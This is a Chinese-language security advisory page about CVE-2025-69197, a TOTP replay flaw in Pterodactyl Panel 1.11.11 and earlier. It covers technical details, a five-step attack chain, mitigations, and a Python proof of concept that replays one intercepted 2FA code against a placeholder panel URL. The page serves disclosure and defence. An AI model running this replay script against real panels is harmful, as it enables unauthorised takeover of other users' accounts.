IPBUF安全漏洞报告
English
CVE-2025-69197 CVSS 6.5 中危

CVE-2025-69197 Pterodactyl面板TOTP验证码重放漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2025-69197
漏洞类型
验证码重放/身份验证绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pterodactyl Panel

相关标签

TOTP验证码重放2FA绕过身份验证漏洞Pterodactyl游戏服务器管理面板中危漏洞

漏洞概述

Pterodactyl是一款免费开源的游戏服务器管理面板,广泛应用于托管游戏服务器。2026年1月披露的安全漏洞显示,Pterodactyl Panel 1.11.11及以下版本存在严重的TOTP(基于时间的一次性密码)验证码重放安全问题。该漏洞允许攻击者在截获用户有效的2FA验证码后,在60秒的有效期内多次使用该验证码进行身份验证。攻击成功的关键前提是攻击者已经获取了目标用户的用户名和密码(可通过钓鱼、密码泄露等常见方式获得),然后通过屏幕共享、键盘记录或网络窃听等方式截获TOTP验证码。由于系统未对已使用的验证码进行充分的状态标记,攻击者可以在验证码有效期内重复使用同一个验证码建立多个会话。此问题已被官方在1.12.0版本中修复,但未升级的用户仍面临被攻击的风险。

技术细节

Pterodactyl Panel采用TOTP标准实现双因素认证(2FA)功能。正常登录流程为:用户首先输入用户名和密码进行第一阶段认证,系统验证通过后要求用户输入6位TOTP验证码(通常由Google Authenticator等应用生成,每30秒更新一次)。用户输入验证码后,系统验证其有效性,验证通过后建立用户会话。漏洞存在于验证码验证环节的实现中:代码虽然包含`isUsed`等标记机制用于跟踪验证码使用状态,但在实际验证过程中未能正确地将已验证的验证码标记为已使用。具体表现为:系统接收到验证码后仅检查其时间有效性和HMAC签名正确性,但验证完成后未更新验证码的状态字段,导致同一验证码在完整的60秒有效窗口内可以被重复使用。攻击者获取到验证码后(常见场景包括:用户在进行屏幕共享时泄露、攻击者通过键盘记录器捕获、或在网络传输中被嗅探),即可在60秒内使用相同的用户名、密码和验证码组合多次发起登录请求,每次请求都会被系统接受并建立新的会话。修复方案(commit 032bf076d92bb2f929fa69c1bac1b89f26b8badf)确保了验证码在验证通过后立即被标记为已使用,防止重复利用。

攻击链分析

STEP 1
步骤1
攻击者通过钓鱼攻击、凭证填充或数据泄露等方式获取目标用户的Pterodactyl Panel用户名和密码
STEP 2
步骤2
攻击者通过屏幕共享(用户在进行演示或故障排查时)、键盘记录器、网络嗅探或恶意软件等方式截获用户输入的6位TOTP验证码
STEP 3
步骤3
攻击者在60秒的TOTP有效期内,使用已获取的用户名、密码和截获的验证码向Pterodactyl Panel发起第一次登录请求,系统验证通过并建立会话
STEP 4
步骤4
由于系统未将已使用的验证码标记为已使用,攻击者在有效期内使用完全相同的凭证组合(用户名+密码+同一TOTP验证码)再次发起登录请求
STEP 5
步骤5
系统再次接受该验证码并成功建立新的会话,攻击者获得目标账户的访问权限,可进行未授权操作如管理游戏服务器、访问敏感数据等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-69197 PoC - TOTP Token Replay Attack # Affected: Pterodactyl Panel <= 1.11.11 import requests import time TARGET_URL = "https://pterodactyl-panel.example.com" USERNAME = "attacker_known_username" PASSWORD = "attacker_known_password" INTERCEPTED_TOTP = "123456" # TOTP code captured via screen share, keylogger, etc. def login_with_totp(username, password, totp_code, session): """Attempt to login with username, password and TOTP code.""" # Step 1: Initial authentication with credentials login_url = f"{TARGET_URL}/auth/login" login_data = { "email": username, "password": password } response = session.post(login_url, data=login_data, allow_redirects=False) if response.status_code in [302, 200]: # Step 2: Submit TOTP code totp_url = f"{TARGET_URL}/auth/2fa" totp_data = { "code": totp_code } totp_response = session.post(totp_url, data=totp_data, allow_redirects=False) return totp_response.status_code == 302 or "token" in totp_response.cookies return False def main(): session = requests.Session() print("[*] CVE-2025-69197 - Pterodactyl TOTP Replay Attack PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Username: {USERNAME}") print(f"[*] TOTP Code: {INTERCEPTED_TOTP}") print("[*] Attempting multiple login attempts with same TOTP...") success_count = 0 for i in range(5): # Try 5 times within validity window if login_with_totp(USERNAME, PASSWORD, INTERCEPTED_TOTP, session): success_count += 1 print(f"[+] Attempt {i+1}: SUCCESS - Login accepted with reused TOTP") else: print(f"[-] Attempt {i+1}: FAILED") time.sleep(5) # Wait 5 seconds between attempts print(f"\n[*] Result: {success_count}/5 attempts succeeded") if success_count > 1: print("[!] VULNERABLE: System accepts reused TOTP codes within validity window") else: print("[+] PATCHED: System correctly rejects reused TOTP codes") if __name__ == "__main__": main()

影响范围

Pterodactyl Panel <= 1.11.11

防御指南

临时缓解措施
对于无法立即升级的情况,建议采取以下临时缓解措施:1) 监控并限制来自同一IP的登录尝试频率;2) 强制要求用户在不安全的网络环境下不要进行2FA验证操作;3) 启用额外的风险控制措施如设备指纹验证、地理位置异常检测等;4) 考虑临时关闭面板的外部访问,仅允许通过VPN或特定网络访问;5) 提醒用户避免在屏幕共享或远程桌面环境中输入2FA验证码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表